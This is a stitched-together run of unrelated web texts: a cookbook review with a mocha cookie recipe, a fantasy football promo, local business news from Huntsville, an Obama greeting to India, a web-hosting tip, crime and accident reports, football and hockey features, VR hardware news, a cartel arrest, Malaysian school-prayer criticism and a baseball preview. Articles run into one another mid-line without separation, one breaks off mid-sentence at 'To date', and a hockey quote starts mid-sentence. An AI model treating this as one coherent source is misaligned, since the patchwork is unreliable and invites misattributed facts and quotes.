I liked the Kate Laird All Hallow’s Read drawing: it didn’t strike me as being a sexualised lolita image: it’s a poster of a little girl dressed as a witch, reading a book on a tombstone, in a fan-based grass roots movement to get people, particularly children, to read on and around Hallowe'en. Seemed perfectly on-message to me. Your mileage, obviously, may vary, and does, but you should be aware that there are other points of view than your own, and they might also be valid.
I don’t recommend role models. It’s much wiser to do what you feel is right.When Dianne asked me about reviewing Practically Raw Desserts – Flexible Recipes for All Natural Sweets and Treats, by Amber Shea-Crawley, I was initially skeptical about how many recipes I would be able to try and also like. Some raw recipes I have seen on the Interwebz have been quite extensive in terms of work as well as time and Hubbs isnt much fond of raw desserts much either. But this book and Amber’s earlier book have changed that game. Consider me converted Amber.
This book offers an amazing variety of desserts with each recipe being very flexible. Most recipes have options to make them raw, baked, or easy freeze or other methods, which makes them very approachable. I do not have a dehydrator and the baked options made me very happy.
There are several options for substitutions for most of the ingredients. Also all recipes are free of dairy, eggs, gluten, wheat, soy, peanuts, corn, refined grains, refined sugars, yeast, starch, and many recipes are free of grains, oils, nuts, and added sugars too making them quite a nutrient dense treat.
I made a bunch of goodies from the book and so many more bookmarked. The Strawberry shortcupcakes, Dulce de Leche spooncream, Carrot Cake! and Confetti Birthday cake. so pretty, intriguing and I bet delicious!
These Raw Baklava blondies are a great snack filled with many nuts and dates and raisins.
The book has amazing amount of information packed into it with recipes for basics, pantry list, equipment guide, nut milks, nut soaking guides, and substitution options and so much more.
Almost All recipes have a picture, which is very helpful to get an idea of how the recipe will turn out. There are Cookies, Bars, Cakes, Pies, Puddings, Candy, and frostings, glazes, ganaches. The book also has a resource guide provides information on where to source ingredients.
I do have a high speed blender, but no food processor. The baklava and lemon curd came out of my magic bullet!
Coconut Lemon curd was a big hit. I made sandwich cookies with some of the leftover curd after licking most of it while I prepped and photographed, with my gf sugar cookies for a fantastic lemony whoopie!
Thank you Dianne Wenz and Vegan Heritage Press for providing me with a review copy of Practically Raw Desserts. And thank you Amber for all the work that went into this book.
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Midnight Mocha Cookies
These dark chocolate darlings are so low-cal and low-fat, they actually would make a perfect midnight snack, but it is their deep cocoa color and flavor that gives them their name. They’re also perfect for dipping into a good cup o’ joe in the morning! The coffee extract is optional, but it works wonders at bringing the mocha flavor to the forefront.
Ingredients:
• 1/2 cup almond flour
• 1/2 cup coconut flour
• 1/2 cup cacao powder
• 1/4 cup coconut palm sugar
• 1/8 teaspoon sea salt
• 1/3 cup very strong brewed coffee, plus more as needed
• 1/4 cup coconut nectar
• 1 teaspoon vanilla extract
• 1/2 teaspoon coffee extract (optional)
Preparation:
In a food processor, combine the flours, cacao powder, sugar, and salt and pulse together. Add the coffee, coconut nectar, vanilla, and coffee extract and pulse until the dough forms a ball. Add additional coffee, 1 tablespoon at a time, as needed to help the dough stick together. The mixture will be very thick. (Alternatively, you may mix the batter in a stand mixer.)
Make It Raw: Using a cookie scoop or a spoon, scoop the batter by rounded tablespoonfuls onto a Teflex-lined tray. Use a fork to gently flatten the cookies to 1/3 to 1/2 inch thick, leaving fork marks in the center. (They may crack a little at the edges; that’s okay.) Dehydrate at 110°F for 1 to 2 hours, flipping the cookies over halfway through, until they have firmed up slightly.
Make It Baked: Preheat the oven to 300°F. Using a cookie scoop or a spoon, scoop the batter by rounded tablespoonfuls onto a parchment-paper-lined baking sheet. Use a fork to gently flatten the cookies to 1/3 to 1/2 inch thick, leaving fork marks in the center. (They may crack a little at the edges; that’s okay.) Bake for 8 to 9 minutes, until the bottoms of the cookies brown slightly. Use a spatula to move the cookies to a wire rack and let cool before handling.
Make It Easy: Using a cookie scoop or a spoon, scoop the batter by rounded tablespoonfuls onto a waxed-paper-lined plate or baking sheet. Use a fork to gently flatten the cookies to 1/3 to 1/2 inch thick, leaving fork marks in the center. (They may crack a little at the edges; that’s okay.) Enjoy immediately, or refrigerate or freeze until firm.
Store the cookies in an airtight container at room temperature for up to 4 days, in the refrigerator for up to 2 weeks, or in the freezer for up to 2 months.
Chef’s Tip: Don’t be shy about adding extra liquid (water, coffee, or nondairy milk) to the batter as needed to help the dough become moist and scoopable but still moldable.
Substitutions:
• Almond flour: cashew flour or any other nut flour
• Coconut palm sugar: Sucanat, date sugar, evaporated cane juice, or organic white or brown sugar
• Coffee: water or nondairy milk plus an additional 1/2 teaspoon coffee extract or instant coffee granules
• Coconut nectar: maple syrup, agave nectar, or any other liquid sweetener
Variations:
• Nut-Free Mocha Cookies: Replace the almond flour with Sunflour
• Double Chocolate Mocha Cookies: Pulse some nondairy chocolate chips or cacao nibs into the dough.
• No Caffeine at Midnight! Cookies: Use water or non-dairy milk in place of coffee and omit the coffee extract.
From Practically Raw Desserts by Amber Shea Crawley. ©2013 Amber Shea Crawley. Used by permission from Vegan Heritage Press.
Vegan Heritage Press has kindly offered a copy of the book to one of the blog readers.
This giveaway is open to US residents only as per publisher’s request. Please enter the Giveaway in the Widget below.
a Rafflecopter giveawayThe Official Fantasy Bundesliga transfer window is now open - just in time for Saturday’s Supercup between Borussia Dortmund and Bayern Munich. We’ve made one or two subtle alterations to the points system this season, but one thing remains unchanged: entertainment and excitement are virtually guaranteed!
Sign up to the Official Fantasy Bundesliga now!
- © DFL DEUTSCHE FUSSBALL LIGA
Don't waste money on substitutes!
Your initial transfer budget hasn’t changed either, with 150 million available to spend on a squad of 15 players (player values range from one to 15 million). The Supercup represents the perfect opportunity to get a closer look at some of the stars likely to be pushing for a place in your final selection. And who knows, perhaps Dortmund and Bayern will conjure up such a spectacle on Saturday that you’ll want to assemble a squad made up entirely of players from the two Bundesliga giants. After all, there is no limit on the number of players you can sign from any given team.
The limited budget means you would have to spend your money wisely, but with a bit of nous you should be able to assemble a squad to terrify the living daylights out of your opponents! Here’s how you do it…
Click here for live build-up to the 2017 Supercup!HUNTSVILLE, Alabama - Melding creativity with science, technology and engineering was a big draw for MindGear Labs owner Rob Adams, who plans to expand his successful Madison business to the Southeast's largest arts center in Huntsville this fall.
MindGear will be one of several small businesses slated to open at the facility after the completion of a massive renovation of Lowe Mill's 37,000-square-foot north floor, formerly used as a storage space for biomedical firm Eurofins. Adams and Leon Burnette of the Media Arts Institute of Alabama are finalizing plans for a new Media Arts Facility there, which will be led by lab manager and artist Anne Condit.
Adams, who took home the Madison Chamber of Commerce's "Startup Business of the Year" award Thursday night, said he was attracted to Lowe Mill because "it has great energy, and has quickly become a social and cultural hub" in the Rocket City.
"As an engineer, the activities at our Madison Lab have definitely had scientific, engineering and technical bent, but many fab labs are much more centered on the arts, with patrons creating wonderful sculptures, beautiful hanging art and creative furniture concepts," he said. "I want to see more of that and I think partnering with Leon is very advantageous here."
'The most shared story we've ever had'
Dustin Timbrook, artist and media director at Lowe Mill, said construction is coming along in the expansion area and he has no doubt the facility will be move-in ready in time for the holiday shopping season. In addition to MindGear, Lowe Mill will also welcome a slew of other tenants, including Suzy's Pops, Irons Distillery, Modern & Smart, Rusted Willow Artworks, the Huntsville Art League and more.
When the news about Lowe Mill's expansion broke on AL.com in early September, the story itself was shared thousands of times on Facebook. Timbrook said "people went wild over it... and it was probably the most shared story we've ever had."
"People are just really excited about it," he said. "... The thing with us, we're always looking to the future. Even though this is awesome, we're already scheming on what the next thing will be. As soon as we're ready to move forward on the next phase, we'll already have the plans in place."
Adams said the media arts lab will offer courses in video production, advanced manufacturing, programming and information technology, electronics and entrepreneurship. The classes will have "a strong emphasis on developing personal and team projects" and give attendees an opportunity to develop a portfolio to present to potential employers, venture capitalists, colleges and more.
The space will also have a laser cutter, 3D printer, desktop CNC mill, electronics workbench, paint booth, woodworking station, casting and molding center and sewing and embroidery machine.
"We'll have a standard 4x8 table that we use for a variety of projects and children's classes like LEGO robotics, and our city design and other classes," Adams said. "We are also planning a working mini-museum of historical animation inventions, such as the multi-plane camera Walt Disney invented, scaling and lightbox tables, a cell production table, to name a few."
'A calm before the storm'
One unique addition at Lowe Mill will be Irons Distillery, a 1,600-square-foot space that owner Jeff Irons said will produce high-quality corn whiskey in oak barrels. Irons, who is president of IronSclad Solutions, is working to get approval at the federal, state and county levels, but he's confident he will be able to start construction on the site in early November.
During an interview earlier this week, Irons said he was leaving to celebrate his 30th wedding anniversary, "kind of a calm before the storm."
"I have the architect completing the plans and getting quotes for the build out of the facility," he said. "I am also putting the finishing touches to identifying all suppliers of grains and equipment, bought furniture from several local businesses that were selling their older furniture."
Pop Culture, a gourmet popsicle business founded three summers ago by Suzy Naumann, will operate next to Irons Distillery under a new name, while the Huntsville Art League will take up at least 3,000 square feet on the north floor. A new classroom equipped for 72 students will also overlook the parking lot and water tower.
Pop Culture, now known as Suzy's Pops, recently acquired ice pop equipment from Brazil to increase production and quality, and hired some sales workers to assist at farmers markets.
"To date
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comedy with Will Farrell.”
5. What type of music do you like to listen to before a game?
“I like to listen to a lot of different stuff. But lately I’ve liked listening to Mike Stud. He’s a rapper that's pretty talented."
Kelly Friesen is a Buzzing the Net columnist for Yahoo! Sports. Follow him on Twitter @KellyFriesenNEW DELHI: In a message which has gone down very well with New Delhi, the new US President, Barack Obama, has said that India has no better friend and partner than the people of the US. In his greetings to India on the occasion of Republic Day, Obama said that it was ``our shared values that form the bedrock of a robust relationship across peoples and governments''.Obama also wished PM Manmohan Singh, who is recuperating after a heart surgery, speedy recovery.``As the people of India and people of Indian origin in America and around the world celebrate Republic Day on January 26, I send the warmest greetings of the American people to the people of India. Together, we celebrate our shared belief in democracy, liberty, pluralism, and religious tolerance,'' said Obama, adding that the two nations have built broad and vibrant partnerships in all fields of human endeavour.India has been, as some strategic affairs experts here say, defensive about some of the US administration's moves on South Asia policy like appointing a special envoy, Richard Holbrooke, for Afghanistan and Pakistan.The Obama administration, however, has made it clear that India will not be a part of his assignment.In his message, Obama went on to say that the shared values and ideals between the two countries provide them the strength which enables them to meet any challenge, ``particularly from those who use violence to try to undermine our free and open societies''.``As the Indian people celebrate Republic Day all across India, they should know that they have no better friend and partner than the people of the United States. It is in that spirit, that I also wish Prime Minister Singh a quick recovery,'' said Obama.``Our rapidly growing and deepening friendship with India offers benefits to all the world's citizens as our scientists solve environmental challenges together, our doctors discover new medicines, our engineers advance our societies, our entrepreneurs generate prosperity, our educators lay the foundation for our future generations, and our governments work together to advance peace, prosperity, and stability around the globe,'' he added.Facebook Twitter Google+ LinkedIn
When you’re choosing a host for a web project, there are generally three considerations (outside of web server environment needed): storage space, server performance, and bandwidth.
Storage space is a no-brainer: if you’ve got a bunch of galleries, you’re going to need space to host all those images. Server performance generally relates to the amount of RAM you’re allotted for your site, and how many other sites on the same server are competing for processing power. Bandwidth is both the size of the internet tubes connecting to your site, and the amount of total throughput (or downloaded files) that you’re given as part of your hosting package. With Google’s new competitive pricing tier for Drive storage, web hosting just got a whole lot cheaper, by taking storage space and bandwidth out of that equation for a lot of people. Here’s how:
Let’s say I’m your average 19 year old baby web nerd, and I’ve got an idea about a better kind of app store. I want to test the idea out, but I’m on summer break, have all of my cash tied up into next semester, and can’t afford the chunk of change a dedicated server will cost. My favorite host’s pricing starts at around nine bucks a month for 2GB of storage, and 15Gb of throughput. For another $10 a month, I get 1Tb of storage on Drive. I create a publicly accessible folder there, and store all uploaded files there. Then I build a WordPress powered front end system on my web host account to manage the links.
For $19 a month, I can test out a mass consumer platform without spending dedicated server money, store up to a terabyte of files (the average Android app is under 100Mb, for comparison), and have the added benefit of the massive bandwidth of Google’s network. What’s more, while the throughput on Drive is not unlimited, it’s much higher than the 15Gb per month offered by my host, so in putting the vast majority of my file storage there, I don’t hit overages on my host (and always have really fast downloads).
The ability to do this has been in place for a while, but with the new pricing structure, it’s now actually a competitive option. Time to write that “store uploads to Drive” plugin.- A scandal involving fake traffic stops cost more than a dozen Arlington police officers their jobs and their careers.
The Tarrant County District Attorney says the officers will never work as police officers in Texas ever again.
Roughly nine months after 16 police officers were placed on leave during an investigation into fake traffic stops, all of them will avoid prosecution.
Eleven of the officers agreed to plea bargains early on and gave up their peace officer licenses to avoid indictments. Five of them were actually indicted but later took the same deal to have the indictments dismissed.
“Dane Peterson, Dace Warren, Brandon Jones and Chris McCright were indicted for tampering with a governmental record in multiple indictments,” the district attorney’s office said in a statement. “Chris Dockery was indicted in one multiple count indictment. All of the officers agreed to give up their TCOLE licenses, and we have dismissed the indictments against each other.”
Attorney and former police officer Pete Schulte is not involved in the case but says the outcome reflects how important an officer’s integrity is to the department.
“It probably was a very big pill for them to swallow because, in essence, it ended their law enforcement career,” he said. “So in return of them giving up their law enforcement career, I mean that’s quite a number of them — 16, they avoided the potential of becoming convicted felons if the cases had gone to trial.”
In May 2016, APD says an internal audit brought to light traffic stops that were reported but allegedly did not happen. Most of the accused officers were members of the Arlington Municipal Patrolman’s Association.
“The AMPA is disappointed with the outcome, in that we wish the officers could have continued the fight,” the union said in a statement. “But we understand the risk, and they must do what is best for their families.”
The Arlington Police Department declined to comment on camera but reiterated that none of the 16 officers are still employed with them.DETROIT (WWJ) – Authorities confirm an autoworker was killed in a “tragic accident” while on the job at a Fiat Chrysler plant in Detroit.
The incident happened Tuesday morning at the Jefferson North Assembly Plant, on Conner Street near East Jefferson Avenue on the city’s east side.
Officials say the 53-year-old man — later identified Donald Megge of Sterling Heights — was crushed in a press while performing regular preventative maintenance in the waste water treatment area.
Megge was working alone when the accident happened and was discovered at about 6:30 a.m. He was declared dead at the scene.
Jodi Tinson, a Fiat Chrysler spokesperson, said the accident happened during the day’s first shift.
“A plant employee was killed at the waste water treatment plant. The company is currently working with local officials to investigate the incident,” Tinson said in a statement. “All of the FCA family extends its deepest sympathies to the employee’s family during this difficult time.”
Megge was a UAW member and a millwright.
UAW-Chrysler Vice President Norwood Jewell said the incident remains under investigation by state and federal health and safety officials, as well as union, company health and safety professionals.Crystal Palace are pleased to confirm the signing of free agent Elliot Grandin on a one-year deal, subject to Premier League and FA approval.
Eagles manager Ian Holloway, who worked with the French midfielder at Blackpool, moved to snap up the 25-year-old after his Tangerines contract expired earlier this year. His deal in SE25 includes an option for a further 12-month extension.
Grandin played 45 minutes of Palace’s pre-season victory over Dagenham and Redbridge during a trial period and impressed the gaffer enough to earn a permanent deal at Selhurst Park.
The former France under-21 international has spent much of his career in his homeland, after signing his first professional contract with SM Caen in 2004.
He became a key part of the squad that won promotion to Ligue 1 in 2006/07, making 23 appearances and scoring twice. He was limited to 12 games in the French top flight though, before joining Marseille in January 2008.
Grandin helped the club reach the Champions League, making his European debut in the third qualifying round of the competition against Norwegian side, Brann. But following a loan spell at Grenoble Foot, he fell out of favour with manager Eric Gerets and was released from his contract in September 2009.
In January 2010, Grandin left his home country for the first time after signing an 18-month deal with Bulgarian outfit CSKA Sofia, helping them finish second in the 2009/10 season.
He began the 2010/11 campaign in Bulgaria, but was signed by Holloway to strengthen his Blackpool squad for their Premier League push. Grandin made his debut for the seasiders in the club’s 4-0 opening day win over Wigan, scoring his first goal for the club in the 1-1 draw with Aston Villa in February 2011. He made 24 Premier League appearances in total.
Despite the club’s relegation to the Championship, Grandin stayed at Blackpool, scoring the equaliser against Palace as the Tangerines came from behind to win 2-1, in January 2012.
A week later, the Frenchman jetted back to his homeland for a loan spell with Nice, before returning to Blackpool for the start of the 2012/13 campaign.
Grandin appeared 12 times for Blackpool in the Championship last season, scoring three times and laying on three assists. He left the club at the end of June with an overall record of four goals in 42 games.
Speaking to Palace Player after signing a deal to keep him in England, Grandin said: “I’m very excited. I had a very good year in the Premier League with the gaffer, so I’m excited to start the new season.
“We had a very good run [at Blackpool]. I think the team played well, but we were unlucky at the end because we went down. We had a very, very good year though, we enjoyed it and I hope it will be the same with Crystal Palace.”
Grandin added that he is looking forward to testing himself in the Premier League once again. “It’s very nice because every game is a new challenge,” he said.
“It’s like a cup final every game. You play against great players, great teams, so you have to be focused on your football and everyone has to give their best because it’s a difficult league – the best league in the world, I think.
“All the teams are very good. In the French league or in the Spanish league, you have six strong teams, but I think in the Premier League I think all the teams are very strong. Everybody can beat everybody, so it’s hard to say who will stay up, who will go down.
“If we work together and the team is confident, anything is possible.”
To see Elliot Grandin’s first interview as a Crystal Palace player in its entirety, CLICK HERE to log in or sign up to Palace Player.Zac Rinaldo doesn’t read what’s out there. He doesn’t read the tweets that say he’s dirty. Doesn’t look at the GIFs that replay his hits in minute detail. Doesn’t read the articles that say he doesn’t belong in the NHL. Doesn’t pay it any mind.
It’s not surprising, then, that Rinaldo sees his game very differently than most.
“I distribute my energy by working hard, [being] relentless on the puck, working hard in the corners,” the Bruins forward, 25, tells SI.com. “For the most part, I like to go out there and bang some bodies around to create energy, not just in the rink for the fans, but [when] my team sees I’m going out there and putting my body on the line, then hopefully that will pick them up too.”
Rinaldo is relentless, all right. Now in his fifth season in the league, he’s racked up 601 career penalty minutes and three suspensions. He’s the ultimate agitator—annoying on the ice, hated by 29 teams and loved by one—but hardly a traditional enforcer. After his first season, with Philadelphia, in which he had 15 fights, he’s only had 17 since. The days of goons are long gone anyway, with just a few old-timers left. Players like Rinaldo have taken their place, ticking off opponents and fans. But now, these agitators are not just annoying—they’re useful.
“F---,” says former enforcer Paul Bissonnette. “Rinaldo keeps getting contracts so why would he change?”
There's a dichotomy between how agitators and their supporters view the role and how enforcers do. Ask the agitators and they’ll say their game is about playing hard, harder than anybody, full speed ahead every time.
“Just a guy with lots of energy,” says Jody Hull, the head coach of Peterborough of the OHL while talking about his former player Patrick Kaleta, 29, who was known as one of the biggest agitators in the game while playing for the Buffalo Sabres. Kaleta was suspended four times for flagrant hits. He’s now plying his trade in the AHL in the Sabres organization. “I don’t think dirty would be the world as much as reckless at times,” Hull says. “He was always raring to go. That contagiousness rubbed off on his teammates.”
There’s a difference between reckless and dirty, Hull says. Reckless is maybe making the wrong play, not thinking it through fully, not being fully aware. Dirty is willfully trying to hurt somebody.
Says Rinaldo: “They think I’m out to hurt people, and that’s definitely not my intention at all.”
But recklessness has its consequences. It’s one thing to play with energy, make big hits that get teammates and fans more into the game. It’s another to do it and not respond to the opposing team. This is where enforcers differ.
“You need to be able to look yourself in the mirror,” Florida Panthers forward and longtime enforcer Shawn Thornton, 38, tells SI.com. “There’s a lot of fights I didn’t want to be in, a lot of fights I lost, [that] I felt like I had to do to look myself in the mirror, for my teammates to look me in the eye. That’s the way I was brought up. The agitators that dive and do all that stuff and will never, ever back it up, everybody in the world gets frustrated with that.”
Kaleta, in parts of nine seasons, has fought 24 times. During the 2009-10 season alone, Thornton fought 21 times.
But fighting is down league-wide now. Many teams don’t employ a traditional enforcer. Too many teams will take advantage of a player who can only play two minutes a game. Agitators have to do everything—kill penalties, score the occasional goal, play responsibly defense. If they can sufficiently annoy the opposing team into taking a penalty, then why fight?
Rinaldo has only taken one minor penalty this year, a tripping call in mid-November. “Every year I mature as a player,” he says. “I get put in different positions during the game where I have to let up on a hit. I have to completely give up on my strengths to not put myself in a suspension worthy hit.”
That’s how many agitators play. There’s Antoine Roussel of Dallas, who scored 25 points last season. There’s Brandon Prust, a reliable penalty killer, and Derek Dorsett, who also scored 25 points last season, both of whom play for Vancouver.
And that’s how they have to play to stay in the league, says Bissonnette, a notorious fighter who is now playing in the AHL for the Los Angeles Kings organization.
“[Take] Ryan Reaves [of St. Louis], who’s a pretty decent player,” Bissonnette says. “He has skill. He’s good along the walls. He does the little things right. He can not be a liability and still be able to protect his teammates.”
Reaves scored 12 points last season while racking up 116 penalty minutes and eight fights. “My coach [Ken Hitchcock] doesn’t like me going out there just to fight,” Reaves, 29, tells SI.com. “He wants to me get a big hit, or make another team need the energy because we’re all over them.”
Despite having no fights yet this season, Reaves agrees with Thornton that some agitators “need to answer the bell,” and it’s frustrating when they don’t. “When somebody came after me, I dropped the gloves,” Reaves says. “When somebody needed to be protected I dropped the gloves. When there needs to be some energy, I dropped the gloves.”
Thornton knows that enforcers are pretty much gone. At 38, he knows his career is on the downswing. He’s a free agent after this season and he’s only played in 12 of Florida’s 21 games thus far (and still has had three fights). But if he’s there or not, agitators still need to answer for their actions.
“I fucking hate Sean Avery,” Thornton says “But he would get [the gloves] off every once in awhile with someone who was out of of his league. I don’t think he would ever fight me. [But] he would fight some guys he probably shouldn’t be fighting, because he had to. He was one of the worst agitators ever. He probably got [his teammates] beat up for being the way he was. But he did get ‘em off.”
The old days are gone, and Thornton might be the last of a dying breed. It was a different time back then, says Tie Domi, the all-time NHL fights leader. The league itself, he says, has taken some of the responsibility that he and other enforcers took on.
be aware of situations. Scott Stevens, he would’ve been suspended probably every other game. He always targeted guys when they were vulnerable. When we policed the game, we made guys accountable. That’s the bottom line.”
Players don’t have to answer to a Domi anymore. They answer to the Department of Player Safety with its slick videos that announce suspensions for dangerous, illegal hits. The DOPS is the league’s internal balancing mechanism and it’s the best of both worlds: fans can see big, bone-rattling hits while the league doesn’t have to deal with the “blemish” of fighting.
Still, Rinaldo takes umbrage at the idea that he’s an agitator who doesn’t back up his actions. Yes his fighting numbers are down, but it’s because, he says, he fought so much in the beginning of his career.
“My first year, I fought everybody,” Rinaldo says. “I gained respect that way by fighting and not backing down from everybody.”
Rinaldo has gotten into trouble this season—although not suspended—for his hit on the Flyers’ Sean Couturier. He came around the corner to find Couturier battling for the puck. Keeping his momentum, Rinaldo appeared to raise his elbows towards Couturier’s head. Every Philly fan and many others thought he should have been suspended. He wasn’t. He was issued just a game misconduct.
“I think I was in the right position to do everything that’s been told by the league to be a clean hit,” Rinaldo says. “I thought I could make a clean hit and that's what I did.”
Rinaldo is not who you think he is. He plays hard, really hard, something that coaches everywhere encourage. Yes, he crosses the line, has done it many times, but he does not do it out of ill-will, doesn’t try to hurt people. He's just doing what he’s done since the beginning of his career, when he realized that he was gifted as a hitter. He knows the NHL pays closer attention to him. He understands that nearly every fan base in the league hates him. He also knows that every fan base in the league would probably want him on their team.
He’s not an agitator in real life, more of a laid-back type. He has an annual charity event, “Fighting for a Cause,” which benefits McMaster’s Children's Hospital in Hamilton, Ontario, his hometown. He likes to “shoot the shit” with his 9-to-5 friends. He’s just a 25-year-old kid playing the game.
Still, Rinaldo feels the hate. He especially felt it when he visited Boston as a member of the Flyers. He prepared himself for a war when he walked into TD Garden, he says. His most memorable hits and fights were there, he says. And he knew the Bruins fans hated him. Now he’s donning the black-and-gold, and everybody, from management on down, seems to have embraced the former pariah.
“Now I’m on their side, they’re happy about it,” Rinaldo says. “It’s a love-hate thing. They love to hate me.”Valve is adding SMI eye-tracking tech to OpenVR platform Upgraded HTC Vive will be shown at GDC this week, Valve also working with LG on a brand new headset
Matthew Handrahan Editor-in-Chief Tuesday 28th February 2017 Share this article Share
Valve is collaborating with SensoMotoric Instruments to add eye-tracking to its OpenVR platform, and it will show a new version of the HTC Vive featuring the technology at GDC this week.
According to Tom's Hardware, which received confirmation from both companies, Valve and SMI sent an undiclosed number of eye-tracking enabled Vives to research partners around the world. This week at GDC will be the first occasion on which the upgraded headset will be demoed for the press and the wider development community.
Christian Villwock, a director at SMI, said: "This demo is the result of the experience and the valuable learnings we have accumulated during our relationship with Valve, a company that had the foresight to see the value of eye tracking at an early stage."
The importance of eye-tracking to creating immersive VR experiences has been widely discussed, opening up new possibilities for intuitive, gesture-free navigation and more believable and responsive virtual avatars. A number of VR companies have been working with the technology, with the Japanese company Fove among the more prominent examples.
Fove raised $11 million from Colopl's VR fund based on its expertise with Foveated Rendering, a technique that adjusts GPU workload based on where the user is focusing their eyes - you can read more about that in our interview with Fove CEO Yuka Kojima. Oculus has also declared its interest in eye-tracking with the acquisition of the Danish firm The Eye Tribe at the start of this year.
"Eye tracking opens up several interesting possibilities to both VR developers and customers," Valve's Yasser Malaika told Tom's Hardware. "Our collaboration with SMI on R&D, as well as on SMI's efforts to make eye-tracking enabled Vive units available to the larger VR community, have been critical to our growing understanding of how HMDs with integrated eye tracking will positively impact the future of VR."
While it's near certain that eye-tracking will be a part of the HTC Vive in the future, the appearance of an upgraded headset at GDC doesn't necessarily indicate an upgraded consumer product in the very near future. However, SMI has signed agreements for its technology with at least ten headset manufacturers.
Valve has also announced that LG Electronics will be following in the footsteps of HTC into VR. The South Korean tech giant will be showing its first headset prototype at Valve's GDC booth. Details on pricing and the launch period will be announced at a later date, Valve said.
GamesIndustry.biz now has a newsletter dedicated to the emerging markets for VR and AR. You can sign up here.The Mexican navy has arrested a suspected Zetas cartel leader accused of involvement in some of the country's most notorious crimes in recent years, authorities say.
Jose Luis Vergara, navy spokesman, announced on Monday that Salvador Alfonso Martinez Escobedo was arrested Saturday and is believed to have masterminded the massacre of 72 migrants in the northern state of Tamaulipas in 2010.
The man known as "Squirrel'' also has been linked to the escape of 151 prisoners in 2010 from a jail in the city of Nuevo Laredo, the recent flight of 131 prisoners in the city of Piedras Negras and the killing of US citizen David Hartley in 2010 on Falcon Lake, which straddles the U.S.-Mexico border.
The death of Hartley drew wide attention as it appeared Hartley and his wife were on a personal trip when he was shot by Mexican criminals on September 30, 2010.
The navy is also blaming Martinez for the killing of the Tamaulipas state police commander and chief investigator on the case, an attack that hampered the investigation.
Vergara said Martinez was captured in Nuevo Laredo, across from Laredo, Texas. He was shown to the news media Monday.PETALING JAYA: Those involved in education have reminded school heads and state education departments that national schools are not Malay schools, and neither are they Islamic schools.
Parent Action Group for Education (PAGE) chairperson Noor Azimah Rahim pointed out that it was the responsibility of principals and headmasters to ensure the national spirit remained in public schools.
“But people seem to forget that. It needs to have the national spirit. This is because religion has its place and time during specific lessons,” she told FMT.
She said parents with children showing an interest in religion could send them to religious or tahfiz schools as these were more specialised.
She was asked to comment on the recent ruling by Kuantan district education officer Mohd Razali Mustafar that all schools in the district had to hold a mass prayer in the school compound before the students went home. This was because, Razali said, prayer was a key element in character building, especially among schoolchildren.
Azimah, who constantly voices out on education issues, said school heads must make sure non-Malays are not sidelined or made to feel alienated in national schools.
She said the “doa” was good and should be encouraged to be done as frequently as possible, but it could also be done privately or under “one’s breath”.
Azimah said families or individuals usually did a prayer before leaving their house for a safe journey or to have a good day. The practices of Islam were never meant to be imposed on anyone, she added.
A former teacher, Tan Ai Ming, said national schools should bring back the spirit of Rukun Negara, a declaration of national philosophy, as a way of promoting unity among the young.
She said if this was not done, and the current atmosphere in national schools remained, more parents might opt to send their children to Chinese and Tamil schools or to costly international schools.
Politicians are against the idea too
Saifuddin Abdullah, the former deputy higher education minister, has asked the Pahang Education Department to carry out an immediate probe into the impact of this order on Kuantan schools.
He said the department should particularly check to see if such actions made more Indians, Chinese, some Malay parents send their children to other schools.
Saying this was already happening, Saifuddin added: “They perceive the national schools to be more like religious schools.”
Saifuddin, who is now Pakatan Harapan chief secretary said Islamic religious studies were already being taught as a subject for Muslim students, where “the teachers can do all of the prayers during the classes”.
He felt that sometimes the intention of school principals and state education departments were good, but their approach was wrong.
“The problem is, sometimes even the intention is wrongly placed,” he said, referring to the ruling in Kuantan.
MCA leader Ti Lian Ker had told FMT previously that national schools would draw more pupils from non-Malay families and those better off if the focus was on education and not religion as their primary duty and responsibility.
FMT is still trying to contact Razali for comments on the issues raised against the ruling.Unable to afford another quality veteran pitcher to augment their rotation, the Marlins at least have some intriguing options internally: two promising young left-handers and a veteran who appears to have righted himself after two disastrous years with the Cubs.
If Jarred Cosart pitches very effectively this spring, as the Marlins hope, he would project as the team’s fourth starter behind Jose Fernandez, Wei-Yin Chen and Tom Koehler.
That would leave right-hander Edwin Jackson and young lefties Adam Conley and Justin Nicolino as the top options for the fifth spot. Two could stick if Cosart struggles, with David Phelps also in the mix.
Jackson, 32, bombed for the Cubs after signing a four-year, $52 million contract before the 2013 season.
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He led the National League with 18 losses in 2013, was third with 15 more losses in 2014 and won only 14 games over those two seasons while allowing 487 baserunners in 316 innings and producing a bloated 5.60 ERA.
But a move to the bullpen rejuvenated Jackson. He pitched well in relief for the Cubs last season (2-1, 3.19) before being released in July, then went 2-2 with a 2.92 ERA for the Braves out of the bullpen. The Marlins signed him at the minimum in January, with the Cubs paying all but $500,000 of the $12 million he is owed.
Despite thriving in the bullpen, “I still look at myself as a starter,” Jackson said. “There’s still something I want to prove to myself, not to anyone else.”
Of his disastrous Cubs experience, Jackson said: “Anything that could happen did happen. I pitched well enough to be in the rotation [last year]. I would pitch once every eight, nine days last year and didn’t complain.”
After allowing opponents to hit.281 and.302 against him in 2013 and 2014, Jackson limited batters to a.218 average last season, including a.167 clip in 24 innings with the Braves to close the season. He attributed his improvement to being “in a better rhythm.”
Marlins president of baseball operations Michael Hill said Jackson’s “stuff hasn’t diminished at all.” The team believes pitching coach Juan Nieves and roving pitching guru Jim Benedict can extract more from him.
SHARE COPY LINK New Miami Marlins manager Don Mattingly talks about the team's outlook during the first full-squad practice of spring training at Roger Dean Stadium in Jupiter, Florida, on Feb. 23, 2016. Video by Hector Gabino.
If Jackson wins a starting spot, he likely would need to hold off two talented second-year players.
Among the Marlins’ pitching prospects, Conley, 25, was the most impressive last season, finishing 4-1 with a 3.76 ERA, with 59 strikeouts in 67 innings. He allowed no more than three earned runs in any of his final eight starts.
The former second-round pick out of Washington State is 34-21 with a 3.52 ERA in 3 1/2 minor-league seasons.
“I’ve shown I can get major-league hitters out,” he said.
The key for Conley “is my hand speed and fastball arm slot, when batters think it’s a fastball and realize it’s not.”
His fastball averaged 91.2 mph last season, and Conley said he made changes to his delivery to “create more power.”
That’s important, because 66 percent of Conley’s pitches were fastballs last season, compared with 19 percent changeups and 15 percent sliders.
“I look at the radar gun all the time now,” he said. “Jose Fernandez told me to look at the radar gun between pitches.”
He said that helps him determine what he wants to throw next.
Nicolino, conversely, isn’t particularly worried about velocity. His fastball averaged just 88.7 mph last season, and he excels when he’s keeping hitters off balance by changing speeds. He had low strikeout numbers in the minors and just 23 in 74 innings last season.
“Nicolino is never going to be a strikeout guy,” said former Marlins manager and general manager Dan Jennings, who’s now with the Washington Nationals. “He’s going to be a pitch-to-contact guy, a location guy. Conley can strike people out with his slider.”
